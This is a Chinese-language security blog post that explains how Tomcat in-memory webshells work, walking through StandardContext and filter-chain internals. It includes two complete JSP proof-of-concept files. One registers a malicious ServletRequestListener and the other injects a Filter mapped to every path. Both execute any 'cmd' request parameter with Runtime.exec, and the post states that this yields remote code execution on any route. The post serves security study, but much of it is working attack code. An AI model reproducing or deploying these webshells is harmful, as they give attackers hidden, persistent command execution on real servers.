Skip to content

Tomcat内存马

前置知识:https://goodapple.top/archives/1359

Listener型

利用的是ServletRequestListener

ServletRequestListener是用来监听ServletRequest对象的,每从客户端发送一次请求就会生成一个ServletRequestListener。当我们访问任意资源的时候都会触发ServletRequestListener#requestInitialized()。

一个恶意的listener

image-20250717162733544

image-20250717162834371

如何将这个恶意的listener注册进远程服务器呢?

查看一下调用栈

image-20250717163037506

进入StandardContext#fireRequestInitEvent

image-20250717163145384

listener是由instance强转得来,instance属于instances[],instances[]=getApplicationEventListeners(),所以如果instances中存在恶意的listener就能成功触发恶意的requestInitialized.

image-20250717163347364

image-20250717163533868

StandardContext中有个addApplicationEventListener()

image-20250717163925856

所以我们要获取StandardContext实例

在StandardHostValve#invoke方法中可以看到它通过request.getContext()来获取StandardContext实例。

image-20250717164220895

JSP中内置了request对象,payload如下

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>

另一种获取方式

1
2
3
4
5
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

Filter型内存马

在Servlet容器中doFilter()是由Filterchain实现的

img

doFilter调用栈

image-20250717170615220

跟进ApplicationFilterChain#internalDoFilter

image-20250717183121472

filter是由filterconfig获取的,每一个filter都有一个对应的filterconfig,保存着filter的一些配置信息,具体的可以去看看最下面的参考文章。

向上追踪调用栈进入StandWrapperValve#invoke

image-20250717183416679

进入createFilterChain(除去一些不重要的判断,以下是省略版源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

...

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {

...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...

filterChain.addFilter(filterConfig);
}

...

// Return the completed filter chain
return filterChain;
}

从servlet中获取standardcontext,从standardcontext中获取filtermaps,再根据filtermaps中的servletname从standardcontext中获取filterconfig,所以context中的filtermap和filterconfig都要改。

跟进addFilter

image-20250717232745493

filterConfig参数被成功添加进去,下面三张图分别是standardcontext中filterconfig,filterdef,filtermap对应的属性

filterconfig

image-20250718084025248

filterdef存放着filter的定义,如filtername,filterclass之类,对应的是web.xml中的filter标签

1
2
3
4
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>

image-20250718084426031

filtermaps,用array存储各filter路径映射信息,对应的是web.xml中的filter-mapping

1
2
3
4
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>

image-20250718090935095

根据上方分析的createfilterchain的逻辑,我们要把恶意filter添加进standardcontext中的filtermaps和filterconfigs中。并且在最开始的internalDoFilter中可以看到Filter filter = filterconfig.getFilter(),所以要把filter封装进filterconfig中

又因为getFilter()会调用filterDef.getFilterClass(),所以要把filterDef封装进filterconfig中

image-20250718093539768

动态注册filter

首先要获取standardcontext,因为创建filterchain时用的filterconfig,filterdef,filtermap都是从它里面获取的。

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context创建一个ServletContext,通过其属性我们可以获得StandardContext实例

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>

访问jsp文件后再访问任意路由即可实现rce

image-20250718104257167

image-20250718104414986

剩下两种以后碰见了再说吧

Servlet型

Valve型

参考:Java安全学习——内存马 - 枫のBlog

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.